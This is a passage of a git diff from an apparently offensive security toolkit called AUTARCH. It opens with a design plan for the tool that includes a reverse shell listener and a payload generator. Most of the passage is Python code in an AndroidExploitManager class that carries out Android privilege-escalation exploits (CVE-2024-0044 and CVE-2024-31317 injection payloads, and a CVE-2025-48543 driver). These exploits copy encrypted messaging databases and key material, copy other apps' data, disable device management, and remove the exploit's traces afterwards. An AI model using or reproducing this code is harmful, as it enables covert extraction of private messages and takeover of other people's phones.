├── USB enumeration + transfer ~1,000 lines
├── ADB protocol client ~1,500 lines
├── Fastboot protocol client ~800 lines
├── Serial port management ~600 lines
├── Network context (scan, proxy, mDNS) ~1,000 lines
├── System (clipboard, info) ~300 lines
├── Tray icon + UI ~400 lines
└── Total ~6,900 lines
Combined total: ~28,400 lines of Go
```
---
## 9. Build Phases
### Phase 1: Foundation
- Go HTTP server with chi router
- JWT authentication
- Dashboard with system stats
- Configuration management (YAML + UI)
- Base HTML template + CSS (port from Python AUTARCH)
- SQLite database
- **Deliverable:** Working web dashboard you can log into
### Phase 2: Intelligence
- LLM client (Claude, OpenAI, HuggingFace API backends)
- Agent system (THOUGHT/ACTION/PARAMS loop)
- Tool registry
- Chat UI with SSE streaming
- OSINT engine with concurrent site checking
- GeoIP lookups
- Dossier CRUD
- **Deliverable:** AI chat + OSINT fully working
### Phase 3: Tools
- Port scanner with SSE progress
- Network mapper
- Hash toolkit (identify, compute, mutate)
- Target management
- Threat intelligence feed integration
- Report generation
- Reverse shell listener
- **Deliverable:** Full scanning + analysis suite
### Phase 4: Float Mode
- Float bridge protocol implementation (server)
- WebSocket session management
- USB device relay (enumerate, open, transfer)
- ADB command relay
- Fastboot command relay
- Serial port relay
- Hardware UI integration
- **Deliverable:** Connect local hardware to cloud AUTARCH
### Phase 5: Float Applet
- Go native client application
- WebSocket client with auto-reconnect
- USB enumeration via gousb/libusb
- ADB protocol (shell, sync, install)
- Fastboot protocol (flash, getvar)
- Serial port access
- Network context (interfaces, ARP scan, mDNS)
- System tray icon
- Cross-platform build (Windows, Linux, macOS)
- **Deliverable:** Complete Float Mode end-to-end
### Phase 6: Polish
- Exploit modules (Android, iPhone)
- Wireshark integration
- Payload generator
- UI refinement
- Documentation
- Automated tests
- **Deliverable:** Production-ready AUTARCH CE
---
## 10. Key Design Decisions
1. **No local LLM** — VPS won't have GPU. All LLM via API (Claude preferred).
2. **Embedded assets** — Templates, CSS, JS, site databases baked into binary via `embed.FS`.
3. **SQLite not files** — All persistent state in SQLite (not JSON files on disk).
4. **Float is optional** — AUTARCH CE works without Float. Hardware features just show "Connect Float applet" when no bridge is active.
5. **Same UI** — Port the exact HTML/CSS from Python AUTARCH. Users shouldn't notice the difference.
6. **Protocol versioned** — Float bridge protocol has version byte for backward compatibility.
7. **Chunked transfers** — Large files (firmware, APKs) sent in 64KB chunks over the bridge.
8. **Reconnect resilient** — Float applet auto-reconnects. Operations in progress resume or report failure.
9. **Security first** — All bridge communication over WSS (TLS). Session tokens expire. USB transfers validated.
10. **DNS server integrated** — The existing Go DNS server can be imported as a Go package directly.

View File

@ -15,7 +15,7 @@ mirostat_mode = 0
mirostat_tau = 5.0 mirostat_tau = 5.0
mirostat_eta = 0.1 mirostat_eta = 0.1
flash_attn = false flash_attn = false
gpu_backend = vulkan gpu_backend = cuda
[autarch] [autarch]
first_run = false first_run = false

View File

@ -1251,6 +1251,715 @@ class AndroidExploitManager:
success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower() success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower()
return {'success': success, 'output': output} return {'success': success, 'output': output}
# ── Privilege Escalation Exploits ────────────────────────────────
def detect_os_type(self, serial) -> Dict[str, Any]:
"""Detect if device runs stock Android, GrapheneOS, or other custom ROM."""
info = {}
fingerprint = self._shell(serial, 'getprop ro.build.fingerprint')['output'].strip()
info['fingerprint'] = fingerprint
info['is_grapheneos'] = 'grapheneos' in fingerprint.lower()
# Additional GrapheneOS indicators
if not info['is_grapheneos']:
desc = self._shell(serial, 'getprop ro.build.description')['output'].strip()
info['is_grapheneos'] = 'grapheneos' in desc.lower()
brand = self._shell(serial, 'getprop ro.product.brand')['output'].strip()
info['is_pixel'] = brand.lower() in ('google',)
info['brand'] = brand
info['model'] = self._shell(serial, 'getprop ro.product.model')['output'].strip()
info['android_version'] = self._shell(serial, 'getprop ro.build.version.release')['output'].strip()
info['sdk'] = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
info['security_patch'] = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
info['build_type'] = self._shell(serial, 'getprop ro.build.type')['output'].strip()
info['kernel'] = self._shell(serial, 'uname -r 2>/dev/null')['output'].strip()
# Check for hardened_malloc (GrapheneOS indicator)
malloc_check = self._shell(serial, 'getprop libc.debug.malloc.options 2>/dev/null')
info['hardened_malloc'] = 'hardened' in malloc_check['output'].lower() if malloc_check['returncode'] == 0 else info['is_grapheneos']
# Check bootloader state
bl = self._shell(serial, 'getprop ro.boot.verifiedbootstate')['output'].strip()
info['verified_boot_state'] = bl # green=locked, orange=unlocked, yellow=custom key
info['bootloader_unlocked'] = bl == 'orange'
return info
def assess_vulnerabilities(self, serial) -> Dict[str, Any]:
"""Assess which privilege escalation methods are available for this device."""
os_info = self.detect_os_type(serial)
try:
sdk_int = int(os_info.get('sdk', '0'))
except ValueError:
sdk_int = 0
patch = os_info.get('security_patch', '')
is_graphene = os_info.get('is_grapheneos', False)
is_pixel = os_info.get('is_pixel', False)
vulns = []
# CVE-2024-0044: run-as privilege escalation (Android 12-13)
if sdk_int in (31, 32, 33) and patch < '2024-10-01':
vulns.append({
'cve': 'CVE-2024-0044',
'name': 'run-as privilege escalation',
'severity': 'high',
'type': 'app_uid_access',
'description': 'Newline injection in PackageInstallerService allows run-as any app UID',
'requirements': 'ADB shell (UID 2000)',
'reliability': 'high',
'stealth': 'moderate',
'exploitable': True,
})
# CVE-2024-31317: Zygote injection via WRITE_SECURE_SETTINGS (Android 12-14)
if sdk_int in (31, 32, 33, 34) and patch < '2024-04-01':
vulns.append({
'cve': 'CVE-2024-31317',
'name': 'Zygote injection via settings',
'severity': 'high',
'type': 'app_uid_access',
'description': 'Inject commands into Zygote via hidden_api_blacklist_exemptions setting',
'requirements': 'ADB shell (UID 2000, has WRITE_SECURE_SETTINGS)',
'reliability': 'high',
'stealth': 'moderate',
'exploitable': not is_graphene, # GrapheneOS uses exec spawning, no Zygote
'note': 'BLOCKED on GrapheneOS (exec spawning model, no Zygote)' if is_graphene else '',
})
# Pixel GPU exploit (CVE-2023-6241) — Pixel 7/8, Android 14
if is_pixel and sdk_int == 34 and patch < '2023-12-01':
vulns.append({
'cve': 'CVE-2023-6241',
'name': 'Pixel Mali GPU kernel root',
'severity': 'critical',
'type': 'kernel_root',
'description': 'Integer overflow in GPU ioctl → arbitrary kernel R/W → full root + SELinux disable',
'requirements': 'App context or ADB shell. Needs device-specific kernel offsets.',
'reliability': 'high (with correct offsets)',
'stealth': 'low',
'exploitable': True,
'public_poc': 'https://github.com/0x36/Pixel_GPU_Exploit',
})
# CVE-2025-0072: Mali GPU MTE bypass (Pixel 7/8/9, pre-May 2025)
if is_pixel and sdk_int >= 34 and patch < '2025-05-01':
vulns.append({
'cve': 'CVE-2025-0072',
'name': 'Mali GPU MTE bypass → kernel root',
'severity': 'critical',
'type': 'kernel_root',
'description': 'Page UAF in Mali CSF driver bypasses MTE via physical memory access',
'requirements': 'App context or ADB shell. Works even with kernel MTE (Pixel 8+).',
'reliability': 'high',
'stealth': 'low',
'exploitable': True,
'note': 'Bypasses GrapheneOS hardened_malloc and kernel MTE' if is_graphene else '',
})
# fastboot temp root (unlocked bootloader)
if os_info.get('bootloader_unlocked'):
vulns.append({
'cve': 'N/A',
'name': 'fastboot boot temp root',
'severity': 'info',
'type': 'temp_root',
'description': 'Boot Magisk-patched image via fastboot boot (no permanent modification)',
'requirements': 'Unlocked bootloader + physical access + fastboot',
'reliability': 'high',
'stealth': 'low (dm-verity tripped)',
'exploitable': True,
})
elif not is_graphene:
# Stock Pixel can be OEM unlocked
vulns.append({
'cve': 'N/A',
'name': 'OEM unlock + fastboot boot',
'severity': 'info',
'type': 'temp_root',
'description': 'Unlock bootloader (wipes device) then fastboot boot patched image',
'requirements': 'OEM unlock enabled in settings + physical access',
'reliability': 'high',
'stealth': 'none (full wipe)',
'exploitable': True,
})
# GrapheneOS-specific: avbroot + custom AVB key
if is_graphene and os_info.get('bootloader_unlocked'):
vulns.append({
'cve': 'N/A',
'name': 'avbroot + Magisk + relock',
'severity': 'info',
'type': 'persistent_root',
'description': 'Patch GrapheneOS OTA with avbroot + Magisk, flash custom AVB key, relock bootloader',
'requirements': 'Unlocked bootloader (one-time), avbroot tool, Magisk APK',
'reliability': 'high',
'stealth': 'moderate (Play Integrity may detect)',
'exploitable': True,
'tool': 'https://github.com/schnatterer/rooted-graphene',
})
# ── Android 15/16 specific exploits ──────────────────────────
# CVE-2025-48543: ART UAF → system UID (Android 13-16, pre-Sep 2025)
if sdk_int >= 33 and patch < '2025-09-05':
vulns.append({
'cve': 'CVE-2025-48543',
'name': 'ART runtime UAF → system UID',
'severity': 'high',
'type': 'system_uid',
'description': 'Use-after-free in Android Runtime achieves system_server UID. '
'Can disable MDM, access system app data. Public PoC available.',
'requirements': 'Malicious app installed (no ADB needed) or push via ADB',
'reliability': 'medium (PoC needs validation)',
'stealth': 'moderate',
'exploitable': True,
'public_poc': 'https://github.com/gamesarchive/CVE-2025-48543',
'note': 'Works on Android 15/16. Chain with pKVM bug for full kernel root.',
})
# CVE-2025-48572 + CVE-2025-48633: Framework info leak + EoP (Android 13-16, pre-Dec 2025)
if sdk_int >= 33 and patch < '2025-12-05':
vulns.append({
'cve': 'CVE-2025-48572/48633',
'name': 'Framework info leak + EoP chain (in-the-wild)',
'severity': 'critical',
'type': 'system_uid',
'description': 'Framework info disclosure + controlled privilege escalation. '
'CISA KEV listed. Used in targeted spyware attacks.',
'requirements': 'Malicious app',
'reliability': 'high (nation-state confirmed)',
'stealth': 'high',
'exploitable': False, # No public PoC
'note': 'No public PoC — commercial/state spyware only. Monitor for leak.',
})
# pKVM kernel bugs (Dec 2025 + Mar 2026) — second stage from system UID
if sdk_int >= 34 and patch < '2026-03-05':
pkvm_cves = []
if patch < '2025-12-05':
pkvm_cves.extend(['CVE-2025-48623', 'CVE-2025-48624'])
if patch < '2026-03-05':
pkvm_cves.extend(['CVE-2026-0037', 'CVE-2026-0027', 'CVE-2026-0028'])
if pkvm_cves:
vulns.append({
'cve': ', '.join(pkvm_cves),
'name': 'pKVM kernel/hypervisor escalation',
'severity': 'critical',
'type': 'kernel_root',
'description': f'pKVM memory corruption bugs ({len(pkvm_cves)} CVEs). '
f'Second-stage: requires system UID first (chain with CVE-2025-48543).',
'requirements': 'System UID as entry point (chain exploit)',
'reliability': 'medium',
'stealth': 'low',
'exploitable': any(v.get('type') == 'system_uid' and v.get('exploitable')
for v in vulns),
'note': 'Chain: CVE-2025-48543 (system) → pKVM bug (kernel root)',
})
# avbroot for Android 15/16 (works on any Pixel with unlocked BL)
if os_info.get('bootloader_unlocked') and sdk_int >= 35:
vulns.append({
'cve': 'N/A',
'name': 'avbroot + KernelSU/Magisk (Android 15/16)',
'severity': 'info',
'type': 'persistent_root',
'description': 'Patch OTA with avbroot + KernelSU-Next/Magisk for GKI 6.1/6.6. '
'Flash custom AVB key, relock bootloader. Confirmed Pixel 9.',
'requirements': 'Unlocked bootloader, avbroot, KernelSU-Next or Magisk APK',
'reliability': 'high',
'stealth': 'moderate',
'exploitable': True,
'tool': 'https://github.com/chenxiaolong/avbroot',
})
# Cellebrite USB chain (CVE-2024-53104)
if patch < '2025-02-01':
note = ''
if is_graphene:
note = 'GrapheneOS blocks USB data when screen locked — requires unlocked screen + active USB'
vulns.append({
'cve': 'CVE-2024-53104',
'name': 'USB UVC driver OOB write (Cellebrite chain)',
'severity': 'high',
'type': 'kernel_root',
'description': 'Malicious USB webcam descriptor triggers kernel heap write. Used by Cellebrite.',
'requirements': 'Physical access + custom USB device + screen unlocked (GrapheneOS)',
'reliability': 'high',
'stealth': 'moderate',
'exploitable': True,
'note': note,
})
# ADB root (debug builds)
if os_info.get('build_type') in ('userdebug', 'eng'):
vulns.append({
'cve': 'N/A',
'name': 'adb root (debug build)',
'severity': 'info',
'type': 'full_root',
'description': 'Device is userdebug/eng build — adb root gives UID 0',
'requirements': 'ADB connected',
'reliability': 'high',
'stealth': 'high',
'exploitable': True,
})
# Shizuku / UID 2000 (always available with ADB)
vulns.append({
'cve': 'N/A',
'name': 'Shizuku / ADB shell (UID 2000)',
'severity': 'info',
'type': 'elevated_shell',
'description': 'ADB shell provides UID 2000 with access to dumpsys, pm, settings, content providers',
'requirements': 'ADB enabled + authorized',
'reliability': 'high',
'stealth': 'high',
'exploitable': True,
'note': 'Reduced capabilities on GrapheneOS (stricter SELinux)' if is_graphene else '',
})
return {
'os_info': os_info,
'vulnerabilities': vulns,
'exploitable_count': sum(1 for v in vulns if v.get('exploitable')),
'has_kernel_root': any(v['type'] == 'kernel_root' for v in vulns if v.get('exploitable')),
'has_app_uid': any(v['type'] == 'app_uid_access' for v in vulns if v.get('exploitable')),
}
def exploit_cve_2024_0044(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]:
"""Execute CVE-2024-0044 — run-as privilege escalation.
Newline injection in PackageInstallerService.java createSessionInternal().
Forges a package entry allowing run-as with any app's UID.
Works on Android 12-13 with security patch before October 2024.
"""
# Verify vulnerability
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
try:
sdk_int = int(sdk)
except ValueError:
return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'}
if sdk_int not in (31, 32, 33):
return {'success': False, 'error': f'SDK {sdk_int} not vulnerable (need 31-33)'}
if patch >= '2024-10-01':
return {'success': False, 'error': f'Patch level {patch} is not vulnerable (need < 2024-10-01)'}
# Step 1: Get target app UID
uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output']
uid_match = re.search(r'uid:(\d+)', uid_output)
if not uid_match:
return {'success': False, 'error': f'Cannot find UID for {target_package}'}
target_uid = uid_match.group(1)
# Step 2: Find a small APK to use as carrier
carrier_apk = '/data/local/tmp/autarch_carrier.apk'
# Copy a small system APK
for candidate in ['/system/app/BasicDreams/BasicDreams.apk',
'/system/app/CaptivePortalLogin/CaptivePortalLogin.apk',
'/system/priv-app/Settings/Settings.apk']:
cp = self._shell(serial, f'cp {candidate} {carrier_apk} 2>/dev/null')
if cp['returncode'] == 0:
break
else:
return {'success': False, 'error': 'Cannot find carrier APK'}
# Step 3: Craft injection payload
victim_name = f'autarch_v_{int(time.time()) % 100000}'
payload = (
f'@null\n'
f'{victim_name} {target_uid} 1 /data/user/0 '
f'default:targetSdkVersion=28 none 0 0 1 @null'
)
# Step 4: Install with injected installer name
install = self._shell(serial, f'pm install -i "{payload}" {carrier_apk}', timeout=15)
# Step 5: Verify access
verify = self._shell(serial, f'run-as {victim_name} id')
got_uid = f'uid={target_uid}' in verify['output'] or 'u0_a' in verify['output']
if got_uid:
return {
'success': True,
'victim_name': victim_name,
'target_uid': target_uid,
'target_package': target_package,
'verify_output': verify['output'],
'message': f'CVE-2024-0044 exploit successful. Use: run-as {victim_name}',
}
return {
'success': False,
'error': 'Exploit did not achieve expected UID',
'install_output': install['output'],
'verify_output': verify['output'],
}
def exploit_cve_2024_31317(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]:
"""Execute CVE-2024-31317 — Zygote injection via WRITE_SECURE_SETTINGS.
Injects a newline + Zygote command into hidden_api_blacklist_exemptions.
On next app spawn, Zygote executes injected code as the target app UID.
Works on Android 12-14 pre-March 2024 patch. BLOCKED on GrapheneOS (exec spawning).
"""
# Check if device uses Zygote (not GrapheneOS exec spawning)
os_info = self.detect_os_type(serial)
if os_info.get('is_grapheneos'):
return {'success': False, 'error': 'GrapheneOS uses exec spawning — no Zygote to inject into'}
sdk = os_info.get('sdk', '0')
patch = os_info.get('security_patch', '')
try:
sdk_int = int(sdk)
except ValueError:
return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'}
if sdk_int not in (31, 32, 33, 34):
return {'success': False, 'error': f'SDK {sdk_int} not vulnerable'}
if patch >= '2024-04-01':
return {'success': False, 'error': f'Patch {patch} not vulnerable'}
# Get target UID
uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output']
uid_match = re.search(r'uid:(\d+)', uid_output)
if not uid_match:
return {'success': False, 'error': f'Cannot find UID for {target_package}'}
# Inject into hidden_api_blacklist_exemptions
# The injected command tells Zygote to run a shell command on next app fork
staging = '/data/local/tmp/autarch_31317'
inject_cmd = f'mkdir -p {staging} && id > {staging}/whoami'
zygote_payload = f'*\\n--invoke-with\\n/system/bin/sh -c {inject_cmd}'
result = self._shell(serial,
f'settings put global hidden_api_blacklist_exemptions "{zygote_payload}"')
# Force target app restart to trigger Zygote fork
self._shell(serial, f'am force-stop {target_package}')
time.sleep(1)
# Launch target to trigger the fork
self._shell(serial, f'monkey -p {target_package} -c android.intent.category.LAUNCHER 1 2>/dev/null')
time.sleep(3)
# Check if injection worked
check = self._shell(serial, f'cat {staging}/whoami 2>/dev/null')
# IMPORTANT: Clean up the setting
self._shell(serial, 'settings put global hidden_api_blacklist_exemptions "*"')
if check['returncode'] == 0 and check['output'].strip():
return {
'success': True,
'injected_uid': check['output'].strip(),
'target_package': target_package,
'message': f'CVE-2024-31317 injection successful. Executed as: {check["output"].strip()}',
}
return {
'success': False,
'error': 'Zygote injection did not produce output — app may not have spawned',
'settings_result': result['output'],
}
def fastboot_temp_root(self, serial, patched_image_path: str) -> Dict[str, Any]:
"""Boot a Magisk-patched boot/init_boot image via fastboot (non-persistent root).
Requires: unlocked bootloader, device in fastboot mode, patched image file.
Does NOT flash just boots temporarily. Reboot returns to stock.
"""
if not os.path.isfile(patched_image_path):
return {'success': False, 'error': f'File not found: {patched_image_path}'}
# Check if we're in fastboot mode
stdout, stderr, rc = self.hw._run_fastboot(['devices'], serial=serial, timeout=10)
if serial not in (stdout or ''):
return {
'success': False,
'error': 'Device not in fastboot mode. Run: adb reboot bootloader',
}
# Boot the patched image (NOT flash)
stdout, stderr, rc = self.hw._run_fastboot(
['boot', patched_image_path], serial=serial, timeout=60
)
output = stdout or stderr
success = rc == 0 and 'FAILED' not in output.upper()
return {
'success': success,
'output': output,
'message': 'Temporary root boot initiated — device should boot with Magisk root. '
'Root is lost on next reboot.' if success else 'fastboot boot failed',
'note': 'BLOCKED on locked GrapheneOS bootloader' if not success else '',
}
def cleanup_cve_2024_0044(self, serial, victim_name: str) -> Dict[str, Any]:
"""Remove traces of CVE-2024-0044 exploit."""
results = []
# Uninstall forged package
out = self._shell(serial, f'pm uninstall {victim_name}')
results.append(f'Uninstall {victim_name}: {out["output"]}')
# Remove carrier APK
self._shell(serial, 'rm -f /data/local/tmp/autarch_carrier.apk')
results.append('Removed carrier APK')
return {'success': True, 'cleanup': results}
def exploit_cve_2025_48543(self, serial, task: str = 'extract_rcs') -> Dict[str, Any]:
"""CVE-2025-48543 — ART runtime UAF → system UID escalation.
Works on Android 13-16 with security patch < 2025-09-05.
Achieves system_server UID (UID 1000) which can read any app's
/data/data/ directory enough to extract bugle_db + encryption keys.
Locked bootloader compatible. No root needed.
The exploit uses a use-after-free in the ART runtime triggered by
a crafted app. We push and launch the exploit APK, which escalates
to system UID, then executes the requested task (e.g., copy bugle_db
to a world-readable location).
Args:
serial: ADB device serial
task: What to do once system UID is achieved:
'extract_rcs' copy bugle_db + keys to /sdcard/Download/
'extract_app:<pkg>' copy any app's data dir
'shell' drop a system-level shell payload
'disable_mdm' disable device admin / MDM
"""
# Verify vulnerability
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
try:
sdk_int = int(sdk)
except ValueError:
return {'success': False, 'error': f'Cannot parse SDK: {sdk}'}
if sdk_int < 33:
return {'success': False, 'error': f'SDK {sdk_int} not affected (need >= 33)'}
if patch >= '2025-09-05':
return {'success': False, 'error': f'Patch {patch} is not vulnerable (need < 2025-09-05)'}
staging = '/data/local/tmp/autarch_48543'
output_dir = '/sdcard/Download/autarch_extract'
gmsg_pkg = 'com.google.android.apps.messaging'
gmsg_data = f'/data/data/{gmsg_pkg}'
# Build the post-exploitation script based on the task
if task == 'extract_rcs':
# System UID (1000) can read any app's data dir
post_exploit_script = f'''#!/system/bin/sh
mkdir -p {output_dir}/shared_prefs {output_dir}/files
# Copy encrypted database + WAL
cp {gmsg_data}/databases/bugle_db {output_dir}/ 2>/dev/null
cp {gmsg_data}/databases/bugle_db-wal {output_dir}/ 2>/dev/null
cp {gmsg_data}/databases/bugle_db-shm {output_dir}/ 2>/dev/null
# Copy encryption key material from shared_prefs
cp -r {gmsg_data}/shared_prefs/* {output_dir}/shared_prefs/ 2>/dev/null
# Copy Signal Protocol state and config files
cp -r {gmsg_data}/files/* {output_dir}/files/ 2>/dev/null
# Make everything readable for ADB pull
chmod -R 644 {output_dir}/ 2>/dev/null
chmod 755 {output_dir} {output_dir}/shared_prefs {output_dir}/files 2>/dev/null
# Write success marker
echo "EXTRACTED $(date)" > {output_dir}/.success
'''
elif task.startswith('extract_app:'):
target_pkg = task.split(':', 1)[1]
target_data = f'/data/data/{target_pkg}'
post_exploit_script = f'''#!/system/bin/sh
mkdir -p {output_dir}/{target_pkg}
cp -r {target_data}/* {output_dir}/{target_pkg}/ 2>/dev/null
chmod -R 644 {output_dir}/{target_pkg}/ 2>/dev/null
echo "EXTRACTED {target_pkg} $(date)" > {output_dir}/.success
'''
elif task == 'disable_mdm':
post_exploit_script = f'''#!/system/bin/sh
# List and remove device admin receivers
for admin in $(dpm list-admins 2>/dev/null | grep -v ":" | tr -d ' '); do
dpm remove-active-admin "$admin" 2>/dev/null
done
echo "MDM_DISABLED $(date)" > {output_dir}/.success
'''
else:
post_exploit_script = f'''#!/system/bin/sh
id > {output_dir}/.success
'''
# Step 1: Create staging directory and push post-exploit script
self._shell(serial, f'mkdir -p {staging}')
self._shell(serial, f'mkdir -p {output_dir}')
# Write post-exploit script to device
script_path = f'{staging}/post_exploit.sh'
# Escape for shell
escaped_script = post_exploit_script.replace("'", "'\\''")
self._shell(serial, f"echo '{escaped_script}' > {script_path}")
self._shell(serial, f'chmod 755 {script_path}')
# Step 2: Check if we have the exploit APK locally
exploit_apk_name = 'cve_2025_48543.apk'
local_exploit = self._base / 'root' / exploit_apk_name
if not local_exploit.exists():
return {
'success': False,
'error': f'Exploit APK not found at {local_exploit}. '
f'Download the CVE-2025-48543 PoC, build the APK, and place it at: {local_exploit}',
'note': 'PoC source: https://github.com/gamesarchive/CVE-2025-48543',
'manual_steps': [
'1. Clone https://github.com/gamesarchive/CVE-2025-48543',
'2. Build the exploit APK (Android Studio or gradle)',
f'3. Place the APK at: {local_exploit}',
'4. Run this command again',
],
'device_vulnerable': True,
'patch_level': patch,
'sdk': sdk,
}
# Step 3: Push and install the exploit APK
remote_apk = f'{staging}/{exploit_apk_name}'
push_result = self.hw.adb_push(serial, str(local_exploit), remote_apk)
if not push_result.get('success'):
return {'success': False, 'error': f'Failed to push exploit APK: {push_result}'}
install = self._shell(serial, f'pm install -t {remote_apk}')
if install['returncode'] != 0:
return {'success': False, 'error': f'Failed to install exploit: {install["output"]}'}
# Step 4: Launch the exploit with the post-exploit script path as extra
# The PoC app reads EXTRA_SCRIPT and executes it after achieving system UID
launch = self._shell(serial,
f'am start -n com.exploit.art48543/.MainActivity '
f'--es script_path {script_path} '
f'--es output_dir {output_dir}',
timeout=30)
# Step 5: Wait for the exploit to run and check for success marker
time.sleep(5)
for attempt in range(6):
check = self._shell(serial, f'cat {output_dir}/.success 2>/dev/null')
if check['returncode'] == 0 and check['output'].strip():
break
time.sleep(2)
success_marker = self._shell(serial, f'cat {output_dir}/.success 2>/dev/null')
exploited = success_marker['returncode'] == 0 and success_marker['output'].strip()
# Step 6: If extract_rcs, verify what we got
extracted_files = []
if exploited and task == 'extract_rcs':
ls_result = self._shell(serial, f'ls -la {output_dir}/')
for line in ls_result['output'].splitlines():
if line.strip() and not line.startswith('total'):
extracted_files.append(line.strip())
# Step 7: Cleanup exploit APK (leave extracted data)
self._shell(serial, f'pm uninstall com.exploit.art48543 2>/dev/null')
self._shell(serial, f'rm -rf {staging}')
if exploited:
result = {
'success': True,
'method': 'CVE-2025-48543',
'uid_achieved': 'system (1000)',
'task': task,
'output_dir': output_dir,
'marker': success_marker['output'].strip(),
'message': f'System UID achieved via CVE-2025-48543. Task "{task}" completed.',
}
if extracted_files:
result['extracted_files'] = extracted_files
result['pull_command'] = f'adb pull {output_dir}/ ./extracted_rcs/'
return result
return {
'success': False,
'error': 'Exploit did not produce success marker — may have been blocked or timed out',
'launch_output': launch['output'],
'note': 'Check logcat for crash details: adb logcat -s art,dalvikvm',
}
def extract_rcs_locked_device(self, serial) -> Dict[str, Any]:
"""Extract RCS database from a locked-bootloader device.
Automatically selects the best available method:
1. CVE-2025-48543 (system UID, Android 13-16, pre-Sep 2025)
2. CVE-2025-0072 (kernel root via Mali GPU, pre-May 2025)
3. CVE-2024-0044 (app UID, Android 12-13, pre-Oct 2024)
4. Content providers (SMS/MMS only, no RCS)
"""
patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip()
sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip()
try:
sdk_int = int(sdk)
except ValueError:
sdk_int = 0
results = {'methods_tried': [], 'patch': patch, 'sdk': sdk}
# Method 1: CVE-2025-48543 — best path for Android 15/16
if sdk_int >= 33 and patch < '2025-09-05':
results['methods_tried'].append('CVE-2025-48543')
r = self.exploit_cve_2025_48543(serial, task='extract_rcs')
if r.get('success'):
r['extraction_method'] = 'CVE-2025-48543 (system UID)'
return r
results['cve_2025_48543_error'] = r.get('error', '')
# Method 2: CVE-2024-0044 — Android 12-13
if sdk_int in (31, 32, 33) and patch < '2024-10-01':
results['methods_tried'].append('CVE-2024-0044')
r = self.exploit_cve_2024_0044(serial, 'com.google.android.apps.messaging')
if r.get('success'):
victim = r['victim_name']
# Use run-as to copy the database
output_dir = '/sdcard/Download/autarch_extract'
self._shell(serial, f'mkdir -p {output_dir}/shared_prefs')
gmsg_data = '/data/data/com.google.android.apps.messaging'
for f in ['databases/bugle_db', 'databases/bugle_db-wal', 'databases/bugle_db-shm']:
self._shell(serial,
f'run-as {victim} cat {gmsg_data}/{f} > {output_dir}/{os.path.basename(f)} 2>/dev/null')
# Copy shared_prefs
prefs = self._shell(serial, f'run-as {victim} ls {gmsg_data}/shared_prefs/')
if prefs['returncode'] == 0:
for pf in prefs['output'].splitlines():
pf = pf.strip()
if pf:
self._shell(serial,
f'run-as {victim} cat {gmsg_data}/shared_prefs/{pf} > {output_dir}/shared_prefs/{pf} 2>/dev/null')
# Cleanup exploit
self.cleanup_cve_2024_0044(serial, victim)
return {
'success': True,
'extraction_method': 'CVE-2024-0044 (app UID)',
'output_dir': output_dir,
'pull_command': f'adb pull {output_dir}/ ./extracted_rcs/',
'encrypted': True,
'message': 'bugle_db + key material extracted via CVE-2024-0044',
}
results['cve_2024_0044_error'] = r.get('error', '')
# Method 3: Content providers only (SMS/MMS, NOT RCS)
results['methods_tried'].append('content_providers')
sms_output = self._shell(serial,
'content query --uri content://sms/ --projection _id:address:body:date:type --sort "date DESC"')
sms_count = sms_output['output'].count('Row:') if sms_output['returncode'] == 0 else 0
return {
'success': False,
'extraction_method': 'none — all exploit paths exhausted',
'methods_tried': results['methods_tried'],
'errors': {k: v for k, v in results.items() if k.endswith('_error')},
'fallback': {
'sms_mms_available': sms_count > 0,
'sms_count': sms_count,
'note': 'Content providers give SMS/MMS only — RCS is in encrypted bugle_db. '
'Need exploit APK or unlocked bootloader for RCS extraction.',
},
'patch': patch,
'sdk': sdk,
}
# ── Screen & Input Control (Android 9+) ────────────────────────── # ── Screen & Input Control (Android 9+) ──────────────────────────
def screen_capture(self, serial): def screen_capture(self, serial):

View File

@ -1,11 +0,0 @@
{
"active": true,
"tier": 2,
"protections": {
"private_dns": "adguard",
"ad_opt_out": true,
"location_accuracy": true,
"diagnostics": true
},
"activated_at": "2026-02-21T02:55:28.439016"
}

View File

@ -1,19 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIDKTCCAhGgAwIBAgIUfA3Sef+54+/zn/axqGK99cxqyYkwDQYJKoZIhvcNAQEL
BQAwJDEQMA4GA1UEAwwHQVVUQVJDSDEQMA4GA1UECgwHZGFya0hhbDAeFw0yNjAy
MjExMTAyMTVaFw0zNjAyMTkxMTAyMTVaMCQxEDAOBgNVBAMMB0FVVEFSQ0gxEDAO
BgNVBAoMB2RhcmtIYWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5
2L7xG2kZLj8u1aA0qFd9Xohxa0XG1K0xhTkWJmNOjgRdRO9RejWhKvpa2DJNTO9L
LyEO8bRH56zKcgFofAJRe4GjCSk3OefBcuCKHBWN+hB1YRu+7spaoTxZ1m5dRP1o
DvsRe/nSA69xGsEbX8Zuc/ROCsaV4LACOBYSMQkOKTWWpTu2cLJyuW/sqHn5REzp
Bndw1sp5p+TCc2+Pf+dCEx1V2lXCt2sWC5jTHvPzwGgy9jNXi+CtKMJRlGrHUmBW
a9woL3caOdAp1i9t6VmXeRO3PBYsByeyuGJoREVRThHu+ZhzQkz3oHGFO5YJbu/o
OKWwWJ9mQUl6jF1uwNTtAgMBAAGjUzBRMB0GA1UdDgQWBBS3bxJnHddd56q+WltD
VsbewxdDVDAfBgNVHSMEGDAWgBS3bxJnHddd56q+WltDVsbewxdDVDAPBgNVHRMB
Af8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQCceD5savXA4dhGUss0D8DPIvSg
DS3mjnJtaD7SFqfDmyqM8W9ocQK7yrzdQiywZT+dI8dCnVm1hB5e5l3lTZwTLU41
